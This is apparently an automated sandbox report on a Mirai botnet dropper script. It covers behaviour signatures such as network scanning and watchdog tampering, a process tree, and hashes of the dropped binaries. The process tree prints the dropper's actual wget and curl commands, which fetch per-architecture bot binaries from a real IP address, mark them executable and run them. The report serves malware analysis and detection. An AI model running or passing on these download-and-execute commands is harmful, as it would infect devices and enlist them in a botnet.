Analysis
-
max time kernel
49s -
max time network
151s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240729-en -
resource tags
arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
12-12-2024 02:52
Static task
static1
Behavioral task
behavioral1
Sample
e8f8b9515b22842595732ec89d3a6daa851dfddd233bfa76a7540da68c2b2b11.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
e8f8b9515b22842595732ec89d3a6daa851dfddd233bfa76a7540da68c2b2b11.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
e8f8b9515b22842595732ec89d3a6daa851dfddd233bfa76a7540da68c2b2b11.sh
Resource
debian9-mipsbe-20240611-en
General
-
Target
e8f8b9515b22842595732ec89d3a6daa851dfddd233bfa76a7540da68c2b2b11.sh
-
Size
2KB
-
MD5
07d7d7c0736b6263410acf9e34d5c9b0
-
SHA1
4edd87528465f7b81a507b80f7fdfdad4c88feba
-
SHA256
e8f8b9515b22842595732ec89d3a6daa851dfddd233bfa76a7540da68c2b2b11
-
SHA512
1711af3727859adc74cadb660767065d351613b2aa842f0732f26d25b1407b159f1b42108f9f8f846789532d2ad62a9d0b530202ea2b30eb08ef503f5a525d5b
Malware Config
Extracted
mirai
BOTNET
Signatures
-
Mirai family
-
Contacts a large (104405) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 772 chmod 828 chmod 834 chmod 840 chmod 878 chmod 901 chmod 744 chmod 756 chmod 792 chmod 859 chmod 750 chmod 734 chmod 819 chmod 887 chmod 895 chmod -
Executes dropped EXE 15 IoCs
ioc pid Process /tmp/Andrew 735 Andrew /tmp/Andrew 745 Andrew /tmp/Andrew 751 Andrew /tmp/Andrew 757 Andrew /tmp/Andrew 773 Andrew /tmp/Andrew 794 Andrew /tmp/Andrew 821 Andrew /tmp/Andrew 829 Andrew /tmp/Andrew 835 Andrew /tmp/Andrew 841 Andrew /tmp/Andrew 861 Andrew /tmp/Andrew 879 Andrew /tmp/Andrew 888 Andrew /tmp/Andrew 896 Andrew /tmp/Andrew 902 Andrew -
Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog Andrew File opened for modification /dev/misc/watchdog Andrew -
resource yara_rule behavioral4/files/fstream-3.dat upx behavioral4/files/fstream-6.dat upx behavioral4/files/fstream-9.dat upx behavioral4/files/fstream-12.dat upx behavioral4/files/fstream-15.dat upx behavioral4/files/fstream-18.dat upx behavioral4/files/fstream-20.dat upx behavioral4/files/fstream-24.dat upx behavioral4/files/fstream-26.dat upx -
Changes its process name 1 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself /var/Sofia 794 Andrew -
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/B Andrew File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl -
System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 759 wget 762 curl 771 cat -
Writes file to tmp directory 27 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/mips wget File opened for modification /tmp/mpsl wget File opened for modification /tmp/ppc curl File opened for modification /tmp/i686 wget File opened for modification /tmp/arm5 curl File opened for modification /tmp/spc curl File opened for modification /tmp/m68k curl File opened for modification /tmp/mips curl File opened for modification /tmp/mpsl curl File opened for modification /tmp/arm4 curl File opened for modification /tmp/arm7 wget File opened for modification /tmp/x86 curl File opened for modification /tmp/i686 curl File opened for modification /tmp/arm7 curl File opened for modification /tmp/ppc wget File opened for modification /tmp/sh4 curl File opened for modification /tmp/arc curl File opened for modification /tmp/Andrew e8f8b9515b22842595732ec89d3a6daa851dfddd233bfa76a7540da68c2b2b11.sh File opened for modification /tmp/x86 wget File opened for modification /tmp/x86_64 curl File opened for modification /tmp/arm5 wget File opened for modification /tmp/arm6 wget File opened for modification /tmp/sh4 wget File opened for modification /tmp/i486 curl File opened for modification /tmp/x86_64 wget File opened for modification /tmp/arm4 wget File opened for modification /tmp/arm6 curl
Processes
-
/tmp/e8f8b9515b22842595732ec89d3a6daa851dfddd233bfa76a7540da68c2b2b11.sh/tmp/e8f8b9515b22842595732ec89d3a6daa851dfddd233bfa76a7540da68c2b2b11.sh1⤵
- Writes file to tmp directory
PID:709 -
/usr/bin/wgetwget http://37.114.41.90/bins/i4862⤵PID:711
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/i4862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:720
-
-
/bin/catcat i4862⤵PID:733
-
-
/bin/chmodchmod +x Andrew e8f8b9515b22842595732ec89d3a6daa851dfddd233bfa76a7540da68c2b2b11.sh i486 systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-HtmMQI2⤵
- File and Directory Permissions Modification
PID:734
-
-
/tmp/Andrew./Andrew Payload2⤵
- Executes dropped EXE
PID:735
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/x862⤵
- Writes file to tmp directory
PID:737
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/x862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:741
-
-
/bin/catcat x862⤵PID:743
-
-
/bin/chmodchmod +x Andrew e8f8b9515b22842595732ec89d3a6daa851dfddd233bfa76a7540da68c2b2b11.sh i486 systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-HtmMQI x862⤵
- File and Directory Permissions Modification
PID:744
-
-
/tmp/Andrew./Andrew Payload2⤵
- Executes dropped EXE
PID:745
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/i6862⤵
- Writes file to tmp directory
PID:747
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/i6862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:748
-
-
/bin/catcat i6862⤵PID:749
-
-
/bin/chmodchmod +x Andrew e8f8b9515b22842595732ec89d3a6daa851dfddd233bfa76a7540da68c2b2b11.sh i486 i686 systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-HtmMQI x862⤵
- File and Directory Permissions Modification
PID:750
-
-
/tmp/Andrew./Andrew Payload2⤵
- Executes dropped EXE
PID:751
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/x86_642⤵
- Writes file to tmp directory
PID:753
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/x86_642⤵
- Reads runtime system information
- Writes file to tmp directory
PID:754
-
-
/bin/catcat x86_642⤵PID:755
-
-
/bin/chmodchmod +x Andrew e8f8b9515b22842595732ec89d3a6daa851dfddd233bfa76a7540da68c2b2b11.sh i486 i686 systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-HtmMQI x86 x86_642⤵
- File and Directory Permissions Modification
PID:756
-
-
/tmp/Andrew./Andrew Payload2⤵
- Executes dropped EXE
PID:757
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:759
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/mips2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:762
-
-
/bin/catcat mips2⤵
- System Network Configuration Discovery
PID:771
-
-
/bin/chmodchmod +x Andrew e8f8b9515b22842595732ec89d3a6daa851dfddd233bfa76a7540da68c2b2b11.sh i486 i686 mips systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-HtmMQI x86 x86_642⤵
- File and Directory Permissions Modification
PID:772
-
-
/tmp/Andrew./Andrew Payload2⤵
- Executes dropped EXE
PID:773
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/mpsl2⤵
- Writes file to tmp directory
PID:777
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/mpsl2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:784
-
-
/bin/catcat mpsl2⤵PID:791
-
-
/bin/chmodchmod +x Andrew e8f8b9515b22842595732ec89d3a6daa851dfddd233bfa76a7540da68c2b2b11.sh i486 i686 mips mpsl systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-HtmMQI x86 x86_642⤵
- File and Directory Permissions Modification
PID:792
-
-
/tmp/Andrew./Andrew Payload2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Changes its process name
- Reads runtime system information
PID:794
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/arm42⤵
- Writes file to tmp directory
PID:797
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/arm42⤵
- Reads runtime system information
- Writes file to tmp directory
PID:807
-
-
/bin/catcat arm42⤵PID:817
-
-
/bin/chmodchmod +x Andrew arm4 e8f8b9515b22842595732ec89d3a6daa851dfddd233bfa76a7540da68c2b2b11.sh i486 i686 mips mpsl systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-HtmMQI x86 x86_642⤵
- File and Directory Permissions Modification
PID:819
-
-
/tmp/Andrew./Andrew Payload2⤵
- Executes dropped EXE
PID:821
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/arm52⤵
- Writes file to tmp directory
PID:824
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/arm52⤵
- Reads runtime system information
- Writes file to tmp directory
PID:826
-
-
/bin/catcat arm52⤵PID:827
-
-
/bin/chmodchmod +x Andrew arm4 arm5 e8f8b9515b22842595732ec89d3a6daa851dfddd233bfa76a7540da68c2b2b11.sh i486 i686 mips mpsl systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-HtmMQI x86 x86_642⤵
- File and Directory Permissions Modification
PID:828
-
-
/tmp/Andrew./Andrew Payload2⤵
- Executes dropped EXE
PID:829
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/arm62⤵
- Writes file to tmp directory
PID:831
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/arm62⤵
- Reads runtime system information
- Writes file to tmp directory
PID:832
-
-
/bin/catcat arm62⤵PID:833
-
-
/bin/chmodchmod +x Andrew arm4 arm5 arm6 e8f8b9515b22842595732ec89d3a6daa851dfddd233bfa76a7540da68c2b2b11.sh i486 i686 mips mpsl systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-HtmMQI x86 x86_642⤵
- File and Directory Permissions Modification
PID:834
-
-
/tmp/Andrew./Andrew Payload2⤵
- Executes dropped EXE
PID:835
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/arm72⤵
- Writes file to tmp directory
PID:837
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/arm72⤵
- Reads runtime system information
- Writes file to tmp directory
PID:838
-
-
/bin/catcat arm72⤵PID:839
-
-
/bin/chmodchmod +x Andrew arm4 arm5 arm6 arm7 e8f8b9515b22842595732ec89d3a6daa851dfddd233bfa76a7540da68c2b2b11.sh i486 i686 mips mpsl systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-HtmMQI x86 x86_642⤵
- File and Directory Permissions Modification
PID:840
-
-
/tmp/Andrew./Andrew Payload2⤵
- Executes dropped EXE
PID:841
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/ppc2⤵
- Writes file to tmp directory
PID:844
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/ppc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:850
-
-
/bin/catcat ppc2⤵PID:858
-
-
/bin/chmodchmod +x Andrew arm4 arm5 arm6 arm7 e8f8b9515b22842595732ec89d3a6daa851dfddd233bfa76a7540da68c2b2b11.sh i486 i686 mips mpsl ppc systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-HtmMQI x86 x86_642⤵
- File and Directory Permissions Modification
PID:859
-
-
/tmp/Andrew./Andrew Payload2⤵
- Executes dropped EXE
PID:861
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/spc2⤵PID:864
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/spc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:869
-
-
/bin/catcat spc2⤵PID:877
-
-
/bin/chmodchmod +x Andrew arm4 arm5 arm6 arm7 e8f8b9515b22842595732ec89d3a6daa851dfddd233bfa76a7540da68c2b2b11.sh i486 i686 mips mpsl ppc spc systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-HtmMQI x86 x86_642⤵
- File and Directory Permissions Modification
PID:878
-
-
/tmp/Andrew./Andrew Payload2⤵
- Executes dropped EXE
PID:879
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/m68k2⤵PID:882
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/m68k2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:885
-
-
/bin/catcat m68k2⤵PID:886
-
-
/bin/chmodchmod +x Andrew arm4 arm5 arm6 arm7 e8f8b9515b22842595732ec89d3a6daa851dfddd233bfa76a7540da68c2b2b11.sh i486 i686 m68k mips mpsl ppc spc systemd-private-51a201d8a5564807b8e716d64963d5ef-systemd-timedated.service-HtmMQI x86 x86_642⤵
- File and Directory Permissions Modification
PID:887
-
-
/tmp/Andrew./Andrew Payload2⤵
- Executes dropped EXE
PID:888
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/sh42⤵
- Writes file to tmp directory
PID:889
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/sh42⤵
- Reads runtime system information
- Writes file to tmp directory
PID:893
-
-
/bin/catcat sh42⤵PID:894
-
-
/bin/chmodchmod +x Andrew arm4 arm5 arm6 arm7 e8f8b9515b22842595732ec89d3a6daa851dfddd233bfa76a7540da68c2b2b11.sh i486 i686 m68k mips mpsl ppc sh4 spc x86 x86_642⤵
- File and Directory Permissions Modification
PID:895
-
-
/tmp/Andrew./Andrew Payload2⤵
- Executes dropped EXE
PID:896
-
-
/usr/bin/wgetwget http://37.114.41.90/bins/arc2⤵PID:898
-
-
/usr/bin/curlcurl -O http://37.114.41.90/bins/arc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:899
-
-
/bin/catcat arc2⤵PID:900
-
-
/bin/chmodchmod +x Andrew arc arm4 arm5 arm6 arm7 e8f8b9515b22842595732ec89d3a6daa851dfddd233bfa76a7540da68c2b2b11.sh i486 i686 m68k mips mpsl ppc sh4 spc x86 x86_642⤵
- File and Directory Permissions Modification
PID:901
-
-
/tmp/Andrew./Andrew Payload2⤵
- Executes dropped EXE
PID:902
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
65KB
MD531a7b38e86933e5a6dc781c00f1a4b2c
SHA1b0e45bb1c15dcec8e6f6afd7c2a3154a1aa0b063
SHA2565c7c5958a7b18800eb26f7bb1c5f83243c0447d8958efb6e85ca9e8684d33714
SHA5126b3672bab523b59425f90a22f5970e990db3a7728e48e0d83e62edd60bf31de6083bd1ce96772a53c3840f6e5ff64dab02cece44131cfade9b09e4dcf3332275
-
Filesize
31KB
MD5b09e32f241911f4ddac45a1a7a19ba49
SHA117a7f213570aaea7f66b9c38091c9485fa0ea510
SHA25642828a483869a643cec73d181faff7f3a433c9570fc96a6bc63a2d8bc2b1f95c
SHA5121d7e94f3076da3e47e902cc523bb752d5333fcbe86a8f35e6ef11202b80e6021318ff8d60843a410a849dd46296e45ed452bfe01ea722df6bdbdd565fd954da5
-
Filesize
32KB
MD5bf55d7061cedeb10e6a3839353dc6d8c
SHA134b773230a77570ef0c6fced5ab9f125996e4daf
SHA256aae9d2a9669849b09b4e8ed8f3baeeb4c948ca80ebddd5004a57c2b6b7049fc9
SHA512555f6dec792e49927d5392fc8dae5174e8868c9acdddebd4d0a5b3386352df40c7342a82d0973979cdb5061ee347f4ebd33ce19ab98fbb6dcae293e1eb69c57e
-
Filesize
50KB
MD5d5af8f2bb8c7c3e39981ba0099fa1d1c
SHA1f12212c88dddb3c0298987b917c55063f942df88
SHA256fec20fde8f5cb8d571cee50a2bf8103c9e63c57b2bfd098693974389fd79c8d9
SHA51242b3455e467f11b68f000f6f375bd9d7f42d77c16184a3a6a36bbf4751e72a01b692032ee6d03a8ed398484cacbdb6231478d42099004f3674de84873c2e817e
-
Filesize
274B
MD5090e35476de39030dfeafbcf3d3e3f43
SHA1a4bd408cec5d1185b478e528cf60a9f5186e0b87
SHA2560085db6c6f0d1ba4e0ea26fcc04cd3afc69a900a9fd087079c4957364bf4dd1b
SHA51255c266d1a3bb285ec821ecac894c2f5dbae7798c08e4f829db0e8c06f22084a919ef0fb17a1ddf4640228453bee8555fa6f69025c398292c5c8382e3c466a181
-
Filesize
28KB
MD515fb222600a3061f5c8e5ef04e5298a6
SHA193b4a17632479c8a45e2554a18ea61ea7365c532
SHA256fff08f2a1a9c20d447ac5cacb89df1287bb830a2fc0cd5866d31d9f3ba653965
SHA51211e390838b35bdacfa84ebdfc076f564abc1538bc972895b81d2156be52177bb25d62662871ae624747cca29e089a7a9a6ef205db4c694a2c106641d33942c34
-
Filesize
34KB
MD56088a204e0792a10d3724e836fe699b7
SHA1fc1cf1010c99f155c46f94ec0529c8cea32c6055
SHA256345984c9618d8bbf1c6e4a70ea62edd4666132f3787dbf07ad118d620cab8a2e
SHA512bdf6dd68777d986f952a9d3aa5e505aaf360cda74d336c81f5ae1abebdebbdeb595f7bcdb26187f3c59fafbf545265b126435e3ead4346898f328e408bf8e48e
-
Filesize
34KB
MD5b8f2bf3e7c002718f12751cb02130d2e
SHA106919c90eae2564ee9ded3f343e2ec18839e411d
SHA256390f79cfca6cc7660d64c22208b4f2166807e5875da1a15336a9dccff130034d
SHA512adfccc7878b168cba5b9f9ce92f246bced0e15db876c28ed2f7e0ec5e344ec6652b643045ca79937de7655da4c71b77db2c778f8b8d11b196bfff156a7d16185
-
Filesize
30KB
MD5053488c4fc01a20ddb689a2212c33126
SHA11eff2d1947ee2d6481fdd2ab4b2a67fba3e18321
SHA2560a8cb5b485b059b98725ff4a6411faa3ea9f150082b46b0b3868ae0e31b6dd41
SHA51232d412546f202e9165cf6c905b46d52db20425b7ff7f90b98a739f6c7860b30c34e8bc5eaca4d6f23e25c6e88580990a6003fd9747d581e25098f3267e78f1f9
-
Filesize
65KB
MD59092bfedba4c884c57e8a36df072a135
SHA1d1f5c632f741fea6a9fb73c4bcb930ebe7313e60
SHA256164fb4af0b74ff37d983392a157a4d9b464391dee726dffcfc205c930a1b062f
SHA5120f87f9126e11c09f480cf7f74f69d76492f8a8a080afaff1dde7546bae685f48d98774ee50d3c760e77bbc736712fa05a82bf034cbc82ce8e66f1e9d53013b79
-
Filesize
28KB
MD554d07ade0004f03aaca028523d8f3eb6
SHA173606fc68439ea7ceb148f94d61dbe0235da8355
SHA256d1270e8be4de4713834930df984a515448ca8dd0acc7b0e03e5aa7fc4428882b
SHA51243ce9c67151734e6e907a4bf30c06e41b52d524c388273380506b604ce3fed2779ef057b282737b1e05c11055611a4bd0559567253fb1b0f3309114e20eadf4b
-
Filesize
28KB
MD59cc970e0631afa61a049848f4f368b12
SHA154d7d99f436e9c97da5bfdd43698bb1dbd679b29
SHA256681951c3fa70c2d14fe48e3c829f9f62f04f8fa9b430c0a87e849e397333dc16
SHA5129f5bcd759af164b0e22479d44806dce6d3ca3e2b62fa3ac154b83111804cd1ee1df4b549fff0e8ab72d2a2d66dadb0f8f1cc301fee83a711e5c4055c2ee3567e